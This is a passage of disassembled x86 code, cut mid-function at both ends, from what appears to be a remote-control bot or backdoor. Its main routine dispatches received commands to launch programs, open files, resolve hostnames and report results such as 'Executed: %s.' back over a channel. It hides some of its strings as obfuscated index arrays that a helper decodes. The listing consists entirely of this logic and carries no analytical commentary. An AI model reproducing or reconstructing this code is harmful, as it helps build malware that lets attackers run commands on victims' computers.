		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049F7
		test	ebp, ebp
		jle	short loc_404A08


loc_4049E8:				; CODE XREF: sub_404690+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_4049E8
		jmp	short loc_404A08
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_404690+352j
		test	ebp, ebp
		jle	short loc_404A08


loc_4049FB:				; CODE XREF: sub_404690+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_4049FB


loc_404A08:				; CODE XREF: sub_404690+356j
					; sub_404690+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A1E:				; CODE XREF: sub_404690+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404A35
		call	sub_401F87
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: sub_404690+39Cj
		call	sub_40144C


loc_404A3A:				; CODE XREF: sub_404690+162j
					; sub_404690+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B60	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC62
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404BA6
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BA6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: sub_404B60+1Dj
					; sub_404B60+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BE6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404BE6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404BE6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_404B60+64j
					; sub_404B60+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401B04
		test	eax, eax
		jz	short loc_404C5A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_404C30+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D8099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C9F
		mov	ecx, offset byte_4D8075
		call	sub_401D20
		call	edi
		mov	dword_4D8099, eax


loc_404C9F:				; CODE XREF: sub_404C70+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404CC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404D34
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: sub_404CC0+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EC5
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2810000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		call	near ptr 2800565h
		nop
		test	eax, eax
		jnz	short loc_404E99
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404E99:				; CODE XREF: sub_404CC0+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404EC5:				; CODE XREF: sub_404CC0+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F74
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F60
		mov	al, byte_449896
		test	al, al
		jz	short loc_404F30
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_404F30:				; CODE XREF: sub_404CC0+25Fj
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_404F48
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_404F48:				; CODE XREF: sub_404CC0+277j
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		mov	byte_4D808C, 0
		mov	byte_4E8E44, 0


loc_404F60:				; CODE XREF: sub_404CC0+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404F74:				; CODE XREF: sub_404CC0+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404FBC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E5A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404CC0+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405076
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405076:				; CODE XREF: sub_404CC0+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405194
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405194:				; CODE XREF: sub_404CC0+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4051B7
		mov	byte_4D808C, al
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_404CC0+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40547E
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_405241
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405241:				; CODE XREF: sub_404CC0+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405314
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		call	near ptr 71ABE479h
		nop
		mov	edi, eax
		test	edi, edi
		jz	loc_4053F5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40545B
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_404CC0+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053F5
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4053F5:				; CODE XREF: sub_404CC0+5E0j
					; sub_404CC0+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40545B:				; CODE XREF: sub_404CC0+64Fj
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_404CC0+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40556C
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40556C:				; CODE XREF: sub_404CC0+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056DA
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405674
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405692
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_404CC0+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405692:				; CODE XREF: sub_404CC0+9B2j
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_4056B8:				; CODE XREF: sub_404CC0+1D4j
					; sub_404CC0+2AFj ...
		call	sub_401226


loc_4056BD:				; CODE XREF: sub_404CC0+91Cj
					; sub_404CC0+C6Aj
		xor	al, al


loc_4056BF:				; CODE XREF: sub_404CC0+6Fj
					; sub_404CC0+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4056DA:				; CODE XREF: sub_404CC0+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405750
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_404CC0+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405841
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405841:				; CODE XREF: sub_404CC0+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405915
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_4058A9
		mov	ebx, 7


loc_4058A9:				; CODE XREF: sub_404CC0+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058FE
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4058FE:				; CODE XREF: sub_404CC0+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405915:				; CODE XREF: sub_404CC0+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
